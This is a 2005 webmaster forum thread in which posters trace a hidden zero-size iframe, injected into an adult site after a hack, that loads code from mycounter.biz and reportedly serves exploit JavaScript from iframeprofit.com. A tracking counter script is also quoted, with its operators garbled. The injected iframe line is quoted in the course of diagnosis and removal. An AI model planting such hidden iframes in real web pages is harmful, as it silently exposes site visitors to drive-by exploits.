Joker says I have an install on my site - HELP

**ProjectNaked** · 04-05-2005, 11:16 PM

sucks...I've been getting all kind of attempts from worms and lots of nasty email attachments -

**bringer** · 04-05-2005, 11:17 PM

where specificly is he seeing it? i did a quick check and found nothing remotely close to that

**JOKER** · 04-05-2005, 11:18 PM

A bit out of context - but ok, I'll play...

Look for this sourcecode at the near bottom of the site:

Code:

<!-- BEGIN SEXTRACKER CLIT CODE v2.1_f - ALTERATION WILL RESULT IN INACCURATE STATS --> <!-- THE FOLLOWING CODE IS COPYRIGHT (C) 1997-99 FLYING CROCODILE, INC --> <iframe src="http://mycounter.biz/in.php?wm=bruce" width="0" height="0"></iframe>

**Mr.Fiction** · 04-05-2005, 11:19 PM

Maybe he has spyware on his computer.

**bringer** · 04-05-2005, 11:20 PM

Originally posted by JOKEREMPIRE

A bit out of context - but ok, I'll play...

Look for this sourcecode at the near bottom of the site:

Code:

<!-- BEGIN SEXTRACKER CLIT CODE v2.1_f - ALTERATION WILL RESULT IN INACCURATE STATS --> <!-- THE FOLLOWING CODE IS COPYRIGHT (C) 1997-99 FLYING CROCODILE, INC --> <iframe src="http://mycounter.biz/in.php?wm=bruce" width="0" height="0"></iframe>

Code:

<!-- BEGIN SEXTRACKER CLIT CODE v2.1_f - ALTERATION WILL RESULT IN INACCURATE STATS --> <!-- THE FOLLOWING CODE IS COPYRIGHT (C) 1997-99 FLYING CROCODILE, INC --> <script
language="JavaScript"><!--
jv=10;an=navigator.appName;av=Math.round(parseFloat(navigator.appVersion)*1000);if(
navigator.appName.substring(0,9)hahahaha"Microsoft"){an="MSIE";}if((anhahahaha"MSIE")&&(parseInt
(navigator.appVersion)hahahaha2)){av=3010;}
//--></script> <script language="JavaScript1.1"><!--
jv=11;
//--></script> <script
language="JavaScript1.2"><!--
jv=12;window.onerror=function(){return true;}
//--></script> <script language="JavaScript1.3"><!--
jv=13;
//--></script> <script
language="JavaScript1.4"><!--
jv=14;
//--></script> <script language="JavaScript"><!--
j=0;tmp="";ss="na";cd="na";je="na";dt=new Date();tz=dt.getHours();hr=""+escape(
parent.document.referrer);function isNotDefined(v){return((vhahahaha"undefined")?true:false);}
if((isNotDefined(hr)hahahahatrue)||(hrhahahaha"")||(hrhahahaha"bookmarks")){hr="Bookmark";}else{wl=
window.location.href;if(wl.lastIndexOf('/')!=(wl.length-1)){wl=wl+"/";}tdr=
parent.document.referrer;if(tdr.lastIndexOf('/')!=(tdr.length-1)){tdr=tdr+"/";}if(tdrhahahahawl)
{hr="na";}}if(jv>=11){je=(navigator.javaEnabled()hahahahatrue)?"tr":"fa";}if(jv>=12){ss=
screen.width+"x"+screen.height;cd=(anhahahaha"MSIE")?screen.colorDepth:screen.pixelDepth;
if(isNotDefined(cd)hahahahatrue){cd="na";}}u="jv="+jv+"&an="+an+"&av="+av+"&ss="+ss+"&cd="+cd+
"&r="+hr+"&je="+je+"&ud=623"+"&tz="+tz;if(document.bgColor!=null){itag=
"<font color=\""+document.bgColor+"\">";}else{itag="";}itag=itag+
"<img height=\"1\" width=\"1\" border=\"0\" alt=\"\" src=\"http://clit4."+
"sextracker.com/clit?CID=179715&"+u+"\">";if(document.bgColor!=null){itag=itag+"</font>";}
document.write(itag+"\n");
//--></script> <noscript><img height="1"
width="1" border="0" alt
src="http://clit4.sextracker.com/clit?CID=179715&jv=00&ud=623"> </noscript> <!-- DONE WITH SEXTRACKER CLIT CODE -- HAVE A NICE DAY --> </p>

</body>
</html>

**Fake Nick** · 04-05-2005, 11:21 PM

what is your site again ?

**JOKER** · 04-05-2005, 11:23 PM

The site runs with a round-robin DNS on 3 servers, so it's possible
you only see the code only on one of them for certain countries and just on a first-visit (it disappeared for me after telling Sleazy and doing a reload of the page)

What the iframe does is it shows the encoded Javascript from

http://iframeprofit.com/adverts/bruce/index.php
(dont click if your PC is not 100% secure - EXPLOIT)

which is obviously the code of affiliate "bruce" of http://iframeprofit.com

**jigga** · 04-05-2005, 11:26 PM

Originally posted by SleazyDream

on icq now with joker, this is pissing me off cause I can't find it.

here's what he said to me. (note - to my knowledge i have no installs)

"anyway... you can install what you want, it gets back to you earlier or later when it changes your affiliate-codes and does funny shit with the ppl that visit your site. I dont care, cause you hurt yourself, besides the whole industry of course... except a few, that can keep their users mashines clean (networks that actually care and send legit campaigns)... If you would admit you did, I had no problem with it... I know the code was there, I know it's not just for me since my mashine is clean, yet it had to be a "miracle" if I believe you. "

to my knowledge there are NO installs on my site - but it has been hacked before. I'm looking over all my servers with the tecks now and can't find this code he's accusing me of putting on the site

this is what he says is there <iframe src="http://mycounter.biz/in.php?wm=bruce" width="0" height="0"></iframe>

does anyone else see this - we can't seem to find it?

i'm thinking he's got a virus that's adding this to sites like mine on his machine from somewhere else but i'm open to anyone's help here if they see it on my site cause if it's there I want it off - BAD.

scott

Many times I find (thanks to surfer emails) that stuff appears on galleries/sites that only shows up on specific country ip's. Personally I don't trust counters much and that may be what's causing it.

**fünkmaster** · 04-05-2005, 11:28 PM

Originally posted by Fake Nick

what is your site again ?

... I more and more enjoy your comments !!

**SleazyDream** · 04-05-2005, 11:28 PM

we found it and removed it.

same fuckers as before. uggggg

fucking theives

**bringer** · 04-05-2005, 11:29 PM

Originally posted by jigga

Many times I find (thanks to surfer emails) that stuff appears on galleries/sites that only shows up on specific country ip's. Personally I don't trust counters much and that may be what's causing it.

yep, ive had the same problem with counters and foreign traffic

**JOKER** · 04-05-2005, 11:29 PM

Originally posted by Mr.Fiction

Maybe he has spyware on his computer.

No Spyware here, 110% sure

**bringer** · 04-05-2005, 11:29 PM

Originally posted by SleazyDream

we found it and removed it.

same fuckers as before. uggggg

fucking theives

server hacked or what?

**jigga** · 04-05-2005, 11:30 PM

Originally posted by jigga

Many times I find (thanks to surfer emails) that stuff appears on galleries/sites that only shows up on specific country ip's. Personally I don't trust counters much and that may be what's causing it.

and by counters I don't mean the companies that run the counter (although that's debatable too after porngrah and rumours about others

) but the fact that the same code appears on thousands of pages and thus makes it easy to exploit for hackers to call up whatever they want when a surfer hits that specific code.

Joker says I have an install on my site - HELP

Joker says I have an install on my site - HELP

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment